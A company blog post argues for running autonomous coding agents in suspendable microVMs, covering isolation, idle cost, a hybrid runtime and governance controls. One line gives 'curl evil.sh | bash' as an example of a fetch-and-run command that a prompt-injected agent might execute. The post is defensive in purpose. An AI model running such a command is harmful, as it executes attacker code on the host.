by Vitaly NikitinAn autonomous coding agent is, by design, a stranger you hand a shell to. It writes files, runs commands, installs packages, and reaches out to the network — all on your behalf, and all faster than you can read. The question every team building with agents eventually trips over is uncomfortably simple: where do you let this thing run?
This month the industry’s answer came into sharp focus. AWS shipped Lambda MicroVMs — Firecracker microVMs purpose-built for “isolated execution of user and AI-generated code,” with suspend, auto-resume, and snapshot-with-disk. Days later, we wired them into Forge as a new, pluggable runtime backend. This post is the why and the how — and why we kept our own fleet, too.
The whole industry converged on the same boundary
The interesting part isn’t that we adopted microVMs. It’s that everyone did, more or less at once. In the last two weeks alone, Fedora published a guide on sandboxing AI coding agents with microVMs , and CI vendors started shipping microVM-per-agent validation in production.
The reasoning is the same everywhere: a container shares the host kernel. For trusted workloads that’s fine. For an agent that can be prompt-injected into running curl evil.sh | bash, “shares the host kernel” is a sentence that should make you nervous. A microVM gives each run its own kernel and a hardware-virtualized boundary — the isolation a container only approximates.
But isolation alone was never the hard part. The hard parts were cost and latency, and that’s exactly where suspendable microVMs change the equation.
The idle-cost math is the real story
Agent work is bursty. A run thinks, waits on a model, waits on a tool, waits on a human to approve a step — then sprints. If you keep a full VM hot for every in-flight run, you pay for a lot of waiting.
Suspend-to-resume flips that. When a run is idle, the microVM suspends to a near-zero idle cost and snapshots its disk; when the next turn arrives, it resumes in place with state intact. CircleCI quantified the shape of this for agent validation — warm microbuilds in the tens of seconds and several-times-lower token usage in retry loops. As their team put it: “By the time our CI catches a failure, the agent has already moved on and most of the useful context is gone.” Suspendable microVMs keep that context cheaply parked instead of either burning money to hold it or throwing it away.
For a platform like Forge — which runs many role-based agents (product manager, architect, developer, tester, reviewer) across many concurrent runs — that idle-cost curve is the difference between “isolation we’d love to have” and “isolation we can actually afford to give every single run.”
Hybrid, not a replacement
Here’s the decision we’re proudest of: the Lambda MicroVM backend is additive, not a migration. Forge already runs a self-hosted fleet, and that fleet stays. The new backend is a pluggable option the dispatcher can route to — burst to on-demand, suspendable microVMs when a workload wants stronger isolation or elastic capacity, and stay on the fleet when it doesn’t.
That hybrid stance matters for two reasons. First, no vendor lock-in: the same way Forge routes across 7+ model providers so a single outage never takes you down, the runtime layer shouldn’t bet the whole platform on one execution substrate. Second, honesty about maturity — we’re being deliberate about rolling this out backend-by-backend rather than declaring a big-bang cutover. New cloud primitives earn production trust gradually.
And we’d be doing the topic a disservice if we pretended isolation settles the safety question. There’s a live, unresolved debate that a microVM “solves one problem well, but not the agent behavior problem” — a sandboxed agent can still make a bad decision inside its sandbox. We agree. A strong boundary is necessary, not sufficient. That’s why Forge pairs runtime isolation with the things that catch bad behavior: human-in-the-loop approvals before risky steps, a full replayable audit trail of every action, and per-turn observability into exactly what each agent did. Isolation is the wall; governance is the guard.
The takeaway
Running AI agents in production is no longer about whether to sandbox them — that argument is over, and microVMs won. It’s about doing it without going broke and without locking yourself in. Suspendable microVMs solve the cost half. A hybrid, pluggable runtime solves the lock-in half. And layering audit, approvals, and observability on top is what turns “isolated” into “trustworthy.”
Forge is built in the open — runtime backends included. If you’re wrestling with where to run your own agents, come see how we’re doing it or read the source on GitHub .